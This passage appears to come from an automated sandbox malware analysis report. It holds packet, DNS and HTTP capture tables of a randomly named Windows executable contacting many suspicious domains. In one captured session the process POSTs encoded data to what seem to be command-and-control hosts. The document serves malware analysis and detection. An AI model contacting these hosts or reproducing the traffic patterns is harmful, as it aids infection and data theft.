                                                                                                                                                                    Oct 25, 2024 16:30:40.180223942 CEST8062238188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:40.180325031 CEST8062238188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:41.545663118 CEST8062238188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:41.545730114 CEST8062238188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:41.545738935 CEST8062238188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:41.545748949 CEST8062238188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:41.545948982 CEST6223880192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:41.549926996 CEST6223880192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:41.683356047 CEST6223880192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:42.702717066 CEST6223980192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:42.708280087 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:42.708400011 CEST6223980192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:42.716972113 CEST6223980192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:42.722747087 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:43.968966961 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:43.969130993 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:43.969137907 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:43.969221115 CEST6223980192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:43.969981909 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:43.970235109 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:43.970236063 CEST6223980192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:43.971200943 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:43.971272945 CEST6223980192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:43.974827051 CEST6223980192.168.2.5188.114.97.3
                                                                                                                                                                    Oct 25, 2024 16:30:43.981287956 CEST8062239188.114.97.3192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:49.056247950 CEST6224080192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:49.061700106 CEST806224081.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:49.061781883 CEST6224080192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:49.078994989 CEST6224080192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:49.084450006 CEST806224081.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:49.916938066 CEST806224081.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:49.965003967 CEST6224080192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:50.046837091 CEST806224081.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:50.047096968 CEST6224080192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:50.589586973 CEST6224080192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:51.609061956 CEST6224180192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:51.614676952 CEST806224181.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:51.614844084 CEST6224180192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:51.626391888 CEST6224180192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:51.631768942 CEST806224181.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:52.483670950 CEST806224181.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:52.558242083 CEST6224180192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:52.614234924 CEST806224181.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:52.617106915 CEST6224180192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:53.136389971 CEST6224180192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:54.155292988 CEST6224280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:54.163482904 CEST806224281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:54.166212082 CEST6224280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:54.176933050 CEST6224280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:54.183017015 CEST806224281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:54.183115005 CEST806224281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:55.025851965 CEST806224281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:55.073858023 CEST6224280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:55.154635906 CEST806224281.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:55.154705048 CEST6224280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:55.683336973 CEST6224280192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:56.703150034 CEST6224380192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:56.854662895 CEST806224381.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:56.854784966 CEST6224380192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:56.864157915 CEST6224380192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:56.869657993 CEST806224381.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:57.726861954 CEST806224381.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:57.871629953 CEST806224381.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:57.874131918 CEST6224380192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:57.877938032 CEST6224380192.168.2.581.2.196.19
                                                                                                                                                                    Oct 25, 2024 16:30:57.883445978 CEST806224381.2.196.19192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:02.959731102 CEST6224480192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:02.965203047 CEST8062244142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:02.965280056 CEST6224480192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:02.978822947 CEST6224480192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:02.984420061 CEST8062244142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:03.941215992 CEST8062244142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:03.996134043 CEST6224480192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:04.061307907 CEST8062244142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:04.062032938 CEST6224480192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:04.480293036 CEST6224480192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:05.500118971 CEST6224580192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:05.557799101 CEST8062245142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:05.557909012 CEST6224580192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:05.571043015 CEST6224580192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:05.576428890 CEST8062245142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:06.536871910 CEST8062245142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:06.589545012 CEST6224580192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:06.668241024 CEST8062245142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:06.668500900 CEST6224580192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:07.074002028 CEST6224580192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:08.092679977 CEST6224680192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:08.255788088 CEST8062246142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:08.255928993 CEST6224680192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:08.267714977 CEST6224680192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:08.275044918 CEST8062246142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:08.275088072 CEST8062246142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:09.237356901 CEST8062246142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:09.357409000 CEST8062246142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:09.357618093 CEST6224680192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:09.777096033 CEST6224680192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:10.796612024 CEST6224780192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:10.802205086 CEST8062247142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:10.802359104 CEST6224780192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:10.811342955 CEST6224780192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:10.816893101 CEST8062247142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:11.755026102 CEST8062247142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:11.809973955 CEST6224780192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:11.885627031 CEST8062247142.250.185.243192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:11.888925076 CEST6224780192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:11.888925076 CEST6224780192.168.2.5142.250.185.243
                                                                                                                                                                    Oct 25, 2024 16:31:11.894551992 CEST8062247142.250.185.243192.168.2.5

                                                                                                                                                                    UDP Packets

                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                    Oct 25, 2024 16:27:31.460706949 CEST5330053192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:27:31.484765053 CEST53533001.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:44.300626993 CEST5360562162.159.36.2192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:44.915296078 CEST5231953192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:27:44.923156977 CEST53523191.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:27:47.031034946 CEST5828653192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:27:47.081749916 CEST53582861.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:28:01.030962944 CEST5692453192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:28:01.155971050 CEST53569241.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:28:16.093822956 CEST5105953192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:28:16.106499910 CEST53510591.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:28:32.343861103 CEST6129053192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:28:32.457271099 CEST53612901.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:28:45.860275984 CEST6111553192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:28:46.270111084 CEST53611151.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:28:59.609055996 CEST6439353192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:28:59.623573065 CEST53643931.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:13.233897924 CEST6395253192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:29:13.269709110 CEST53639521.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:26.640928030 CEST5389053192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:29:26.654660940 CEST53538901.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:40.017821074 CEST6224153192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:29:40.082536936 CEST53622411.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:29:53.707978964 CEST5333853192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:29:53.804677963 CEST53533381.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:07.595887899 CEST5687453192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:30:07.613688946 CEST53568741.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:20.906775951 CEST5683753192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:30:21.081737995 CEST53568371.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:35.032361031 CEST6131053192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:30:35.059684992 CEST53613101.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:30:48.984565020 CEST5023253192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:30:49.052961111 CEST53502321.1.1.1192.168.2.5
                                                                                                                                                                    Oct 25, 2024 16:31:02.893029928 CEST5401853192.168.2.51.1.1.1
                                                                                                                                                                    Oct 25, 2024 16:31:02.956506014 CEST53540181.1.1.1192.168.2.5

                                                                                                                                                                    DNS Queries

                                                                                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                    Oct 25, 2024 16:27:31.460706949 CEST192.168.2.51.1.1.10xe82fStandard query (0)www.moritynomxd.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:27:44.915296078 CEST192.168.2.51.1.1.10x14bbStandard query (0)198.187.3.20.in-addr.arpaPTR (Pointer record)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:27:47.031034946 CEST192.168.2.51.1.1.10x4178Standard query (0)www.kovallo.cloudA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:01.030962944 CEST192.168.2.51.1.1.10x2876Standard query (0)www.sppsuperplast.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:16.093822956 CEST192.168.2.51.1.1.10xa2a4Standard query (0)www.tracy.clubA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:32.343861103 CEST192.168.2.51.1.1.10x4d0bStandard query (0)www.sterkus.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:45.860275984 CEST192.168.2.51.1.1.10x11dcStandard query (0)www.syncnodex.netA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:59.609055996 CEST192.168.2.51.1.1.10x73ceStandard query (0)www.galaxyslot88rtp.latA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:13.233897924 CEST192.168.2.51.1.1.10xbc7bStandard query (0)www.warriorsyndrome.netA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:26.640928030 CEST192.168.2.51.1.1.10xffStandard query (0)www.ks1x7i.vipA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:40.017821074 CEST192.168.2.51.1.1.10x622aStandard query (0)www.pakmartcentral.shopA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:53.707978964 CEST192.168.2.51.1.1.10x2c5eStandard query (0)www.les-massage.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:07.595887899 CEST192.168.2.51.1.1.10x9799Standard query (0)www.rtpngk.xyzA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:20.906775951 CEST192.168.2.51.1.1.10x9504Standard query (0)www.wcq24.topA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:35.032361031 CEST192.168.2.51.1.1.10x393cStandard query (0)www.cc101.proA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:48.984565020 CEST192.168.2.51.1.1.10x1521Standard query (0)www.asociacia.onlineA (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:31:02.893029928 CEST192.168.2.51.1.1.10x1812Standard query (0)www.deefbank.netA (IP address)IN (0x0001)false

                                                                                                                                                                    DNS Answers

                                                                                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                    Oct 25, 2024 16:27:31.484765053 CEST1.1.1.1192.168.2.50xe82fNo error (0)www.moritynomxd.xyz172.81.61.224A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:27:44.923156977 CEST1.1.1.1192.168.2.50x14bbName error (3)198.187.3.20.in-addr.arpanonenonePTR (Pointer record)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:27:47.081749916 CEST1.1.1.1192.168.2.50x4178No error (0)www.kovallo.cloudkovallo.cloudCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:27:47.081749916 CEST1.1.1.1192.168.2.50x4178No error (0)kovallo.cloud81.2.196.19A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:01.155971050 CEST1.1.1.1192.168.2.50x2876No error (0)www.sppsuperplast.onlinesppsuperplast.onlineCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:01.155971050 CEST1.1.1.1192.168.2.50x2876No error (0)sppsuperplast.online94.73.146.114A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:16.106499910 CEST1.1.1.1192.168.2.50xa2a4No error (0)www.tracy.clubtracy.clubCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:16.106499910 CEST1.1.1.1192.168.2.50xa2a4No error (0)tracy.club3.33.130.190A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:16.106499910 CEST1.1.1.1192.168.2.50xa2a4No error (0)tracy.club15.197.148.33A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:32.457271099 CEST1.1.1.1192.168.2.50x4d0bNo error (0)www.sterkus.xyz209.74.95.29A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:46.270111084 CEST1.1.1.1192.168.2.50x11dcNo error (0)www.syncnodex.net15.197.172.60A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:59.623573065 CEST1.1.1.1192.168.2.50x73ceNo error (0)www.galaxyslot88rtp.latgalaxyslot88rtp.latCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:28:59.623573065 CEST1.1.1.1192.168.2.50x73ceNo error (0)galaxyslot88rtp.lat162.0.209.213A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:13.269709110 CEST1.1.1.1192.168.2.50xbc7bNo error (0)www.warriorsyndrome.netwarriorsyndrome.netCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:13.269709110 CEST1.1.1.1192.168.2.50xbc7bNo error (0)warriorsyndrome.net3.33.130.190A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:13.269709110 CEST1.1.1.1192.168.2.50xbc7bNo error (0)warriorsyndrome.net15.197.148.33A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:26.654660940 CEST1.1.1.1192.168.2.50xffNo error (0)www.ks1x7i.vipks1x7i.vipCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:26.654660940 CEST1.1.1.1192.168.2.50xffNo error (0)ks1x7i.vip3.33.130.190A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:26.654660940 CEST1.1.1.1192.168.2.50xffNo error (0)ks1x7i.vip15.197.148.33A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:40.082536936 CEST1.1.1.1192.168.2.50x622aNo error (0)www.pakmartcentral.shoppakmartcentral.shopCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:40.082536936 CEST1.1.1.1192.168.2.50x622aNo error (0)pakmartcentral.shop84.32.84.32A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:29:53.804677963 CEST1.1.1.1192.168.2.50x2c5eNo error (0)www.les-massage.online194.58.112.174A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:07.613688946 CEST1.1.1.1192.168.2.50x9799No error (0)www.rtpngk.xyz188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:07.613688946 CEST1.1.1.1192.168.2.50x9799No error (0)www.rtpngk.xyz188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:21.081737995 CEST1.1.1.1192.168.2.50x9504No error (0)www.wcq24.topwcq24.topCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:21.081737995 CEST1.1.1.1192.168.2.50x9504No error (0)wcq24.top154.23.184.240A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:35.059684992 CEST1.1.1.1192.168.2.50x393cNo error (0)www.cc101.pro188.114.97.3A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:35.059684992 CEST1.1.1.1192.168.2.50x393cNo error (0)www.cc101.pro188.114.96.3A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:49.052961111 CEST1.1.1.1192.168.2.50x1521No error (0)www.asociacia.onlineasociacia.onlineCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:30:49.052961111 CEST1.1.1.1192.168.2.50x1521No error (0)asociacia.online81.2.196.19A (IP address)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:31:02.956506014 CEST1.1.1.1192.168.2.50x1812No error (0)www.deefbank.netghs.googlehosted.comCNAME (Canonical name)IN (0x0001)false
                                                                                                                                                                    Oct 25, 2024 16:31:02.956506014 CEST1.1.1.1192.168.2.50x1812No error (0)ghs.googlehosted.com142.250.185.243A (IP address)IN (0x0001)false

                                                                                                                                                                    HTTP Request Dependency Graph

                                                                                                                                                                    • www.moritynomxd.xyz
                                                                                                                                                                    • www.kovallo.cloud
                                                                                                                                                                    • www.sppsuperplast.online
                                                                                                                                                                    • www.tracy.club
                                                                                                                                                                    • www.sterkus.xyz
                                                                                                                                                                    • www.syncnodex.net
                                                                                                                                                                    • www.galaxyslot88rtp.lat
                                                                                                                                                                    • www.warriorsyndrome.net
                                                                                                                                                                    • www.ks1x7i.vip
                                                                                                                                                                    • www.pakmartcentral.shop
                                                                                                                                                                    • www.les-massage.online
                                                                                                                                                                    • www.rtpngk.xyz
                                                                                                                                                                    • www.wcq24.top
                                                                                                                                                                    • www.cc101.pro
                                                                                                                                                                    • www.asociacia.online
                                                                                                                                                                    • www.deefbank.net

                                                                                                                                                                    HTTP Packets

                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    0192.168.2.549785172.81.61.224802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:27:31.505418062 CEST428OUTGET /v5tr/?tD38rnpX=rKvRMuVKXCO914EMf6FJZqs15EwODFtrZQGlCKKDXZs+G4DSdFL+ryYGM1VkNXNOLhPAbMSex0AuWObt4o/1qjXBxlRRBvQeKN9MCs6rt4O0A37rHOMOhfRDAQ4VRmvrUA==&EjY0i=xfOdKrMPu HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Host: www.moritynomxd.xyz
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    1192.168.2.56208281.2.196.19802956C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    Oct 25, 2024 16:27:47.373028994 CEST684OUTPOST /kmgk/ HTTP/1.1
                                                                                                                                                                    Accept: */*
                                                                                                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                                                                                                    Accept-Language: en-US,en
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                    Content-Length: 209
                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                    Host: www.kovallo.cloud
                                                                                                                                                                    Origin: http://www.kovallo.cloud
                                                                                                                                                                    Referer: http://www.kovallo.cloud/kmgk/
                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0E; .NET4.0C)
                                                                                                                                                                    Data Raw: 74 44 33 38 72 6e 70 58 3d 64 73 4d 71 6b 78 78 6d 51 6a 2b 56 39 65 34 37 6a 47 43 55 6f 31 68 65 35 7a 33 65 47 6f 30 79 6a 56 42 77 38 63 64 74 33 71 4c 7a 62 2f 63 7a 66 6e 72 38 70 44 7a 73 70 67 61 57 5a 51 4d 45 30 4d 77 71 68 62 30 4d 45 6a 64 66 43 41 30 5a 6c 33 70 47 65 6a 6f 50 43 5a 48 79 5a 56 4e 33 47 64 67 7a 34 57 73 4d 43 72 65 6e 2b 35 43 76 42 58 31 75 6f 68 52 56 5a 76 4b 70 4a 50 2f 49 2f 52 6a 55 74 72 76 79 70 78 4e 4b 79 46 69 7a 41 4f 52 62 69 39 64 63 6f 58 68 4b 63 6a 61 49 42 30 70 31 52 2f 30 72 44 4c 66 2f 45 6e 4e 38 33 6f 6c 71 44 71 63 71 34 6d 54 75 72 44 31 6c 68 32 37 58 71 59 73 3d
                                                                                                                                                                    Data Ascii: tD38rnpX=dsMqkxxmQj+V9e47jGCUo1he5z3eGo0yjVBw8cdt3qLzb/czfnr8pDzspgaWZQME0Mwqhb0MEjdfCA0Zl3pGejoPCZHyZVN3Gdgz4WsMCren+5CvBX1uohRVZvKpJP/I/RjUtrvypxNKyFizAORbi9dcoXhKcjaIB0p1R/0rDLf/EnN83olqDqcq4mTurD1lh27XqYs=
                                                                                                                                                                    Oct 25, 2024 16:27:48.236165047 CEST355INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx
                                                                                                                                                                    Date: Fri, 25 Oct 2024 14:27:48 GMT
                                                                                                                                                                    Content-Type: text/html
                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Content-Encoding: gzip
                                                                                                                                                                    Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                    Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0


